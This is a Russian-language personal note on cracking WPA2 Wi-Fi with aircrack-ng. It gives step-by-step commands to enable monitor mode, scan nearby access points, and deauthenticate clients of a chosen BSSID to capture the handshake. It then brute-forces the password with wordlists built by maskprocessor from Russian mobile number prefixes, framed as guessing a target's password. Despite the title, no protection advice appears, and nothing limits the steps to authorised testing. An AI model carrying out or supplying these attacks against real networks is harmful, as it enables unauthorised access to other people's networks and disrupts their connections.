Created Wednesday 17 July 2024
Wi-Fi сети: проникновение и защита.
Aircrack-ng — пакет программ, предназначенных для обнаружения беспроводных сетей, перехвата передаваемого через беспроводные сети трафика, аудита WEP и WPA/WPA2-PSK и ключей шифрования, в том числе пентеста (Penetration test) беспроводных сетей (подверженность атакам на оборудование и атакам на алгоритмы шифрования).
Включает:
aircrack-ng — Взламывает ключи WEP и WPA (Перебор по словарю).
airdecap-ng — Расшифровывает перехваченный трафик при известном ключе.
airmon-ng — Выставление различных карт в режим мониторинга.
aireplay-ng — Пакетный инжектор (Linux и Windows).
airodump-ng — Анализатор трафика: Помещает трафик в файлы PCAP или IVS и показывает информацию о сетях.
airtun-ng — Создаёт виртуальный интерфейс туннелирования.
packetforge-ng — Создаёт шифрованные пакеты для инъекции.
ivstools — Инструменты для слияния и конвертирования.
airbase-ng — Предоставляет техники для атаки клиента.
airdecloak-ng — Убирает WEP-маскировку с файлов pcap.
airolib-ng — Хранит и управляет списками ESSID и паролей, вычисляет парные мастер-ключи.
airserv-ng — Открывает доступ к беспроводной сетевой карте с других компьютеров.
buddy-ng — Сервер-помощник для easside-ng, запущенный на удалённом компьютере.
easside-ng — Инструмент для коммуникации с точкой доступа без наличия WEP-ключа.
tkiptun-ng — Атака WPA/TKIP.
wesside-ng — Автоматический инструмент для восстановления WEP-ключа.
======================================================================================================
1. Узнать интерфейс:
$ ifconfig -a
wlan0
Просто посмотреть список своих сетевых устройств (безпроводных конечно): # airmon-ng
2. Перевести в режим мониторинга:
# airmon-ng start wlan0
# airmon-ng start wlan0 # Выйти из режима мониторинга, если понадобится перезагрузить интерфейс
PS: usage: airmon-ng <start|stop|check> <interface> [channel or frequency]
$ sudo ifconfig wlp8s0 down #выключить карту, если понадобится, но скорее всего ее не найдут
$ sudo ifconfig wlp8s0 up включить
3.Название интерфейса изменится ..узнаем:
# ifconfig
wlan0mon #..видим название интерфейса мониторинга и далее в наших "деяниях" используем его
4. Что мы имеем?
# airodump-ng wlan0mon
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
BC:FD:0C:98:46:F5 -82 33 0 0 6 65 WPA2 CCMP PSK
24:CF:24:52:9A:1A -86 3 0 0 6 270 WPA2 CCMP PSK
0C:80:63:C0:5C:1C -1 0 0 0 1 -1
50:FF:20:A0:EB:98 -88 4 0 0 8 270 WPA2 CCMP PSK
52:FF:20:F0:EB:98 -89 30 0 0 8 270 WPA2 CCMP PSK
44:94:FC:86:E1:40 -1 0 10 0 13 -1 WPA
74:9D:79:D4:6B:78 -87 78 0 0 4 130 WPA2 CCMP PSK
D4:6E:0E:53:0A:4E -89 56 10 0 11 270 WPA2 CCMP PSK
5E:E9:31:26:74:65 -88 57 0 0 9 540 WPA2 CCMP PSK
34:0A:33:17:15:34 -89 74 0 0 13 270 WPA2 CCMP PSK
28:6C:07:46:B8:D4 -85 91 0 0 1 130 WPA2 CCMP PSK
C8:D3:A3:E8:AF:C9 -89 67 0 0 11 65 OPN
5C:E9:31:36:74:65 -87 66 7 0 9 540 WPA2 CCMP PSK
F4:EC:38:AC:23:C4 -87 1 23 0 9 270 WPA2 CCMP PSK
.................................................................................
5. Выбираем, что надо:
# airodump-ng --bssid 08:86:30:74 :22:76 -c 6 -w WPAcrack wlan0mon
SSID — Service Set Identifier — символьное название беспроводной точки доступа Wi-Fi, служащее для идентификации её среди других точек пользователями или устройствами, подключающимися к сети.
BSSID — Basic Service Set Identification, MAC-адрес беспроводного устройства;
ESSID — Extended Service Set Identification, ESS — extended service set, сеть с расширенным набором служб
-c 6 — канал
WPAcrack — файл в который запишется "handshake"
wlan0mon — адаптер в режиме мониторинга
Весь фокус в том что-бы перехватить тот самый "handshake" 4-х факторное рукопожатие на 4-м этапе, для генерации криптографического ключа, 4-й этап — это переустановка ключа в чем и секрет, можно долго сидеть в засаде и ждать, но быстрее отключить клиента, что бы он пересоединился по новой, поэтому:
# aireplay-ng --deauth 100 -a 08:86:30:74:22:76 wlan0mon
100 — количество пользователей
bssid 08:86:30:74 :22:76 — BSSID
wlan0mon — адаптер в режиме мониторинга
Возвращаемся к терминалу с airodump-ng и видим в верхнем правом углу терминала "Handshake WPA" , то есть "handshake" захвачен и помещен в файл WPAcrack-01.cap, тот который мы указали в команде, тот который мы будем использовать для дешифрования.
6. подбираем пароль:
# aircrack-ng WPAcrack-01.cap -w /usr/share/sqlmap/txt/wordlist.txt
WPAcrack-01.cap — файл где записан handshake
usr/share/sqlmap/txt/wordlist.txt — путь к базе паролей (в KalyLinux она там)
Использование usr/share/sqlmap/txt/wordlist.txt в качестве базы для подбора пароля не не самый перспективный путь лучшим выходом является создание собственных словарей плюс интеонет с кучей мусора:
Программы для создания словарей
$ sudo apt install maskprocessor
Если -bash: maskprocessor: command not found то:
$ sudo apt remove maskprocessor
$ git clone https://github.com/hashcat/maskprocessor
$ cd maskprocessor/src/
$ make
$ sudo mv ./mp64.bin /usr/bin/maskprocessor
$ maskprocessor -h
Запуск:
-V, --version Напечатать версию
-h, --help Напечатать помощь
Приращение:
-i, --increment=ЧИСЛО:ЧИСЛО Включить режим приращения.
Первое ЧИСЛО=начало, второе ЧИСЛО=конец
Пример: -i 4:8 интересующая длинна 4-8 (включая)
Разное:
--combinations Посчитать количество комбинаций
--hex-charset Предположить, что символы даны в шестнадцатеричном виде
-q, --seq-max=ЧИСЛО Максимальное число одинаковых повторяющиеся символов
-r, --occurrence-max=ЧИСЛО Максимальное число вхождения одного символа
Ресурсы:
-s, --start-at=СЛОВО Начать с конкретной позиции
-l, --stop-at=СЛОВО Закончить на конкретной позиции
Файлы:
-o, --output-file=ФАЙЛ Файл вывода
Пользовательские наборы символов:
-1, --custom-charset1=CS Пользовательские наборы символов
-2, --custom-charset2=CS Пример:
-3, --custom-charset3=CS --custom-charset1=?dabcdef
-4, --custom-charset4=CS устанавливает для ?1 символы 0123456789abcdef
Встроенные наборы символов:
?l = abcdefghijklmnopqrstuvwxyz
?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d = 0123456789
?s = !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
?a = ?l?u?d?s
?b = 0x00 - 0xff
Например нам извесно что наш контрагент использует телефон МТС и он начинается с 911 ....., тогда:
$ maskprocessor 911?d?d?d?d?d?d?d -o mts_dic.txt
$ head mtsdic.txt
9110000000
9110000001
9110000002
9110000003
9110000004
9110000005
9110000006
9110000007
9110000008
9110000009
Проверим:
$ grep 9118079744 mts_dic.txt
9118079744
OLSO
$ maskprocessor 965?d?d?d?d?d?d?d -o beeline_dic.txt
$ head bilinedic.txt
9650000000
9650000001
9650000002
9650000003
9650000004
9650000005
9650000006
9650000007
9650000008
9650000009
$ grep 9650320411 beeline_dic.txt
9650320411